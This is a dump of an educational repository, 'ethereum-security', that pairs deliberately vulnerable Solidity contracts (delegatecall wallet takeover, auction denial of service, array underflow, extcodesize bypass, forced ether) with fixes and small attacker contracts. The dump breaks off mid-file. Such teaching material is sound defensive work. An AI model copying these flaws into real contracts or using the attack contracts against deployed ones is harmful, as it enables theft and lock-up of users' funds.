Repository: fergarrui/ethereum-security Branch: master Commit: 3b09a8e44266 Files: 61 Total size: 96.2 KB Directory structure: gitextract_1yglkvjz/ ├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── contracts/ │ ├── Migrations.sol │ ├── arraystorageoverride/ │ │ ├── ArrayStorageOverride.sol │ │ └── ArrayStorageOverrideFixed.sol │ ├── delegatecall/ │ │ ├── Wallet.sol │ │ ├── WalletLibrary.sol │ │ └── WalletLibraryFixed.sol │ ├── dos/ │ │ ├── Auction.sol │ │ ├── AuctionAttacker.sol │ │ └── AuctionFixed.sol │ ├── dos_unbound_array/ │ │ ├── UnboundArray.sol │ │ └── UnboundArrayFixed.sol │ ├── extcodesize/ │ │ ├── ExtCodeSize.sol │ │ ├── ExtCodeSizeAttacker.sol │ │ └── ExtCodeSizeFixed.sol │ ├── forcether/ │ │ ├── ForceEtherAttacker.sol │ │ └── ForceEtherVictim.sol │ ├── overunderflow/ │ │ ├── OverUnderFlow.sol │ │ ├── OverUnderFlowFixed.sol │ │ └── SafeMath.sol │ ├── reentrancy/ │ │ ├── Reentrancy.sol │ │ ├── ReentrancyAttacker.sol │ │ ├── ReentrancyVulnerable.sol │ │ └── ReentrancyVulnerableFixed.sol │ ├── send/ │ │ ├── WalletSendAttacker.sol │ │ ├── WalletSendBug.sol │ │ └── WalletSendBugFixed.sol │ ├── storageoverride/ │ │ ├── StorageVictim.sol │ │ └── StorageVictimFixed.sol │ └── txorigin/ │ ├── TxOriginAttacker.sol │ ├── TxOriginVictim.sol │ └── TxOriginVictimFixed.sol ├── migrations/ │ ├── 1_initial_migration.js │ └── 2_migration.js ├── package.json ├── test/ │ ├── arraystorageoverride/ │ │ ├── arrayStorageOverride.js │ │ └── arrayStorageOverrideFixed.js │ ├── delegatecall/ │ │ ├── delegateCallTest.js │ │ └── delegateCallTestFixed.js │ ├── dos/ │ │ ├── dosTest.js │ │ └── dosTestFixed.js │ ├── dos_unbound_array/ │ │ ├── dosUnboundArrayTest.js │ │ └── dosUnboundArrayTestFixed.js │ ├── extcodesize/ │ │ ├── extCodeSizeTest.js │ │ └── extCodeSizeTestFixed.js │ ├── forcether/ │ │ └── forceEtherTest.js │ ├── overunderflow/ │ │ ├── overUnderFlowFixedTest.js │ │ └── overUnderFlowTest.js │ ├── reentrancy/ │ │ ├── reentrancyTest.js │ │ └── reentrancyTestFixed.js │ ├── send/ │ │ ├── sendTest.js │ │ └── sendTestFixed.js │ ├── storageoverride/ │ │ ├── testStorageOverride.js │ │ └── testStorageOverrideFixed.js │ └── txorigin/ │ ├── txOriginTest.js │ └── txOriginTestFixed.js ├── truffle-config.js └── truffle.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ *.sol linguist-language=Solidity ================================================ FILE: .gitignore ================================================ .idea/* *.iml build/* node_modules/* ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # ethereum-security ## :exclamation: :warning: DO NOT USE THE CONTRACTS IN THIS REPOSITORY. THEY ARE VULNERABLE TO SECURITY BUGS. :warning: :exclamation: Repository with some Ethereum security bugs. The bugs and fixes are demonstrated using Mocha tests. Bugs added so far: * Overflow * Underflow * Reentrancy (DAO hack) * Delegatecall (Parity hack style) * DOS (e.g. stay as an Auction leader forever) * DOS (unbounded array loop) * Force ether (relying on the invariant this.balance == 0) * Tx.origin * Unchecked send() output * Storage override (commonly used in honeypots - or genuine bugs) * Array storage override (length underflow - storage override) * `extcodesize` bypassed when used to check if the caller is a contract Run: ``` truffle test ``` To debug or run the test suite in more detail: 1. Modify `truffle.js` with: ``` module.exports = { networks: { development: { host: "localhost", port: 8545, network_id: "*", // Match any network id gas : 4000000 } } }; ``` This will run the tests in a local test blockchain. Then `testrpc` & `truffle console` or just `truffle develop` can be run to have an interactive console and be able to see the RPC methods that have been called in the process, and therefore, the transaction hashes (if there was a transaction). Once you know the transaction hash you want to inspect in more detail, it can be debugged running `truffle debug `. See the transaction with `web3.eth.getTransaction("")` or the transaction receipt: `web3.eth.getTransactionReceipt("")` Also, an individual test can be run using: `truffle test test//.js` ================================================ FILE: contracts/Migrations.sol ================================================ pragma solidity ^0.4.17; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } ================================================ FILE: contracts/arraystorageoverride/ArrayStorageOverride.sol ================================================ pragma solidity ^0.4.23; contract ArrayStorageOverride { bool public isHacked; uint[] public array; function push(uint _value) public { array.push(_value); } function pop() public { array.length--; } function insert(uint _key, uint _value) public { require(_key < array.length); array[_key] = _value; } function size() public view returns (uint) { return array.length; } } ================================================ FILE: contracts/arraystorageoverride/ArrayStorageOverrideFixed.sol ================================================ pragma solidity ^0.4.23; contract ArrayStorageOverrideFixed { bool public isHacked; uint[] public array; function pop() public { // This is a possible fix to avoid underflows require(array.length > 0); array.length--; } function push(uint _value) public { array.push(_value); } function insert(uint _key, uint _value) public { require(_key < array.length); array[_key] = _value; } function size() public view returns (uint) { return array.length; } } ================================================ FILE: contracts/delegatecall/Wallet.sol ================================================ pragma solidity ^0.4.23; import "./WalletLibrary.sol"; contract Wallet { address owner; address walletLibrary; function Wallet(address _walletLibrary) public { walletLibrary = _walletLibrary; walletLibrary.delegatecall(bytes4(keccak256("initWallet(address)")), msg.sender); } function deposit() public payable { walletLibrary.delegatecall(bytes4(keccak256("deposit()"))); } function withdraw(uint _amount) public { walletLibrary.delegatecall(bytes4(keccak256("withdraw(uint256)")), _amount); } function () public payable { walletLibrary.delegatecall(msg.data); } function getOwner() public view returns (address) { return owner; } } ================================================ FILE: contracts/delegatecall/WalletLibrary.sol ================================================ pragma solidity ^0.4.23; contract WalletLibrary { address owner; event InitWallet(address addr); function initWallet(address _owner) { InitWallet(_owner); owner = _owner; } function getOwner() public view returns (address) { return owner; } function deposit() public payable { } function withdraw(uint _amount) public returns (bool success) { require(msg.sender == owner); return owner.send(_amount); } } ================================================ FILE: contracts/delegatecall/WalletLibraryFixed.sol ================================================ pragma solidity ^0.4.23; contract WalletLibraryFixed { address owner; event InitWallet(address addr); modifier notInitialized() { require(owner == 0x0); _; } function initWallet(address _owner) notInitialized() { InitWallet(_owner); owner = _owner; } function getOwner() public view returns (address) { return owner; } function deposit() public payable { } function withdraw(uint _amount) public returns (bool success) { require(msg.sender == owner); return owner.send(_amount); } } ================================================ FILE: contracts/dos/Auction.sol ================================================ pragma solidity ^0.4.23; contract Auction { address currentLeader; uint highestBid; function bid() public payable { require(msg.value > highestBid); currentLeader.transfer(highestBid); currentLeader = msg.sender; highestBid = msg.value; } function getCurrentLeader() public view returns (address) { return currentLeader; } function getHighestBid() public view returns (uint) { return highestBid; } } ================================================ FILE: contracts/dos/AuctionAttacker.sol ================================================ pragma solidity ^0.4.23; import "./Auction.sol"; contract AuctionAttacker { Auction auction; function AuctionAttacker(address _auction) public { auction = Auction(_auction); } function bidAuction() public payable { auction.bid.value(msg.value)(); } } ================================================ FILE: contracts/dos/AuctionFixed.sol ================================================ pragma solidity ^0.4.23; contract AuctionFixed { address currentLeader; uint highestBid; mapping(address => uint) refunds; function bid() public payable { require(msg.value > highestBid); // there can be an overflow but it is not the point of this contract // having a withdraw pattern instead of just transferring fixes the issue refunds[currentLeader] += highestBid; currentLeader = msg.sender; highestBid = msg.value; } function withdraw() public { uint refund = refunds[msg.sender]; require(refund > 0); refunds[msg.sender] = 0; msg.sender.transfer(refund); } function getCurrentLeader() public view returns (address) { return currentLeader; } function getHighestBid() public view returns (uint) { return highestBid; } function getRefund(address _bidder) public view returns (uint) { return refunds[_bidder]; } } ================================================ FILE: contracts/dos_unbound_array/UnboundArray.sol ================================================ pragma solidity ^0.4.23; contract UnboundArray { uint[] arr; function push(uint _number) public { for (uint i = 0; i < _number; i++) { arr.push(i); } } function sum() public view returns (uint) { uint s = 0; for(uint i = 0; i < arr.length; i++) { s+=arr[i]; } return s; } } ================================================ FILE: contracts/dos_unbound_array/UnboundArrayFixed.sol ================================================ pragma solidity ^0.4.23; contract UnboundArrayFixed { uint[] arr; function push(uint _number) public { for (uint i = 0; i < _number; i++) { arr.push(i); } } // To fix the issue, we can never loop over an unbounded array. // Kind of a pagination, so the frontend can do the logic function sum(uint _start, uint _size) public view returns (uint) { uint s = 0; for(uint i = _start; i < _start + _size && i < arr.length; i++) { s+=arr[i]; } return s; } } ================================================ FILE: contracts/extcodesize/ExtCodeSize.sol ================================================ pragma solidity ^0.4.23; contract ExtCodeSize { // This contract would be 'hacked' if the address saved here is a contract address address public thisIsNotAContract; function aContractCannotCallThis() public { uint codeSize; assembly { codeSize := extcodesize(caller) } // If extcodesize returns 0, it means the caller's code length is 0, so, it is not a contract... // or maybe not require(codeSize == 0); thisIsNotAContract = msg.sender; } } ================================================ FILE: contracts/extcodesize/ExtCodeSizeAttacker.sol ================================================ pragma solidity ^0.4.23; import "./ExtCodeSize.sol"; contract ExtCodeSizeAttacker { // When ExtCodeSize does extcodesize, since we are calling the function from the constructor, it will return 0 // even if this is a contract... constructor(address _victim) { ExtCodeSize victim = ExtCodeSize(_victim); victim.aContractCannotCallThis(); } } ================================================ FILE: contracts/extcodesize/ExtCodeSizeFixed.sol ================================================ pragma solidity ^0.4.23; contract ExtCodeSizeFixed { // This contract would be 'hacked' if the address saved here is a contract address address public thisIsNotAContract; function aContractCannotCallThis() public { // a way to check that a contract is not calling this method without relying in extcodesize require(msg.sender == tx.origin); thisIsNotAContract = msg.sender; } } ================================================ FILE: contracts/forcether/ForceEtherAttacker.sol ================================================ pragma solidity ^0.4.23; contract ForceEtherAttacker { address victim; function ForceEtherAttacker(address _victim) public { victim = _victim; } function() public payable { selfdestruct(victim); } } ================================================ FILE: contracts/forcether/ForceEtherVictim.sol ================================================ pragma solidity ^0.4.23; // // A fix is not provided for this contract. // A contract balance cannot be 